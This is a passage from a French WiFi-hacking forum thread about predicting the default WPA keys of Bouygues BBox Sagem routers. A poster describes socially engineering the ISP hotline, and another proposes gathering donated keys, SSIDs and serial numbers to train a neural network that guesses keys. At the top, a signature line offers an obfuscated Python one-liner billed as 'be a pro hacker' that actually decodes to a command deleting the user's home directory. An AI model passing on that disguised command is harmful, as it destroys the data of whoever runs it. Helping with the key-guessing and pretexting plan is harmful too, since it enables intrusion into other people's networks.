be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#24 02-02-2012 21:59:39

koala
Membre d'honneur
Lieu : In the sky
Inscription : 03-09-2010
Messages : 2 314

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Suite a un petit coup de social enginering auprès de bouygues chez un pote, j'ai pu obtenir quelque information qui peuvent etre interèssantes.


"Je vous appelle car l'internet de ma box ne marche plus le voyant wifi de la box est éteint donc j'arrive pas a accéder a ma bbox"
"Bien donnez moi votre nom et votre numéro téléphone fixe et votre adresse s'il vous plait que je puisse accéder a votre dossier"
"D'accord maintenant regardez si le voyant adsl est-il allumé?"
"oui"
"Vous vous etes déga connecté en wifi?"
"Tout les jours j'usqu'a maintenant"
"Quel est votre système d'exploitation?"
"windows 7"
"Bien on va faire quelque manipulation ensemble monsieur, tapez gestionbbox.lan dans votre navigateur s'il vous plait"
"Voila c'est fait, je suis sur une interface"
"C'est linterface de votre bbox monsieur, que voyez vous dans état des connexions? le wifi est-il activé?"
"Oui et tout le reste semble brancher"
"Bien,avez-vous tenter de redémarrer votre bbox pour corriger le problème monsieur?"
"Oui 2 fois déga"
"Je vais effectué quelque test sur votre ligne, pouvez vous me donner le numéro de série de votre box s'il vous plait? c'est inscrit sous la box et ça commence par 253"
un peu plus tard...
"Bien,, il apparait que votre wifi est pourtant bien actif"... etc etc


Ma question est donc la suivante, ayant le nom, le numéro, l'adresse ça ne leur suffit pas pour retrouver la box de quelqu'un via la hotline? pourquoi demander le numéro de série?

Ce numéro apparait également sur les livebox sagem mais contient 3 chiffres de moins.Ça laisse songeur.

Hors Ligne

#25 05-02-2012 19:52:12

manonyme
Membre
Inscription : 16-01-2012
Messages : 21

Re : Optimisation de dico pour BBox Sagem et Réseaux neuronaux

Nan je pense que le numéro de série c'est juste pour indentifier le fabriquant matériel du bazar (Thomson ou Sagem).

Bon, il va sérieusement falloir faire un appel aux dons de mots de passe + ssid + numéro de série des bbox sagem, je pense qu'on peut déjà regarder ce que ça donne en "branchant" le réseau neuronal sur des paramètre qui ressemblent à ceux-là:
http://code.google.com/p/livedico/wiki/Regles
Je pense que pendant les vacances de février, je cablerai un réseau neuronal à 2 couches sur les paramètres cités dans ce true, et je verrai s'il "converge" vers un point plus ou moins stable.

Dans tout les cas, je le répète, il faut trouver un moyen de glaner des clés WPA de BBox Sagem, avec leur ESSID et Num de série.

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.04 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]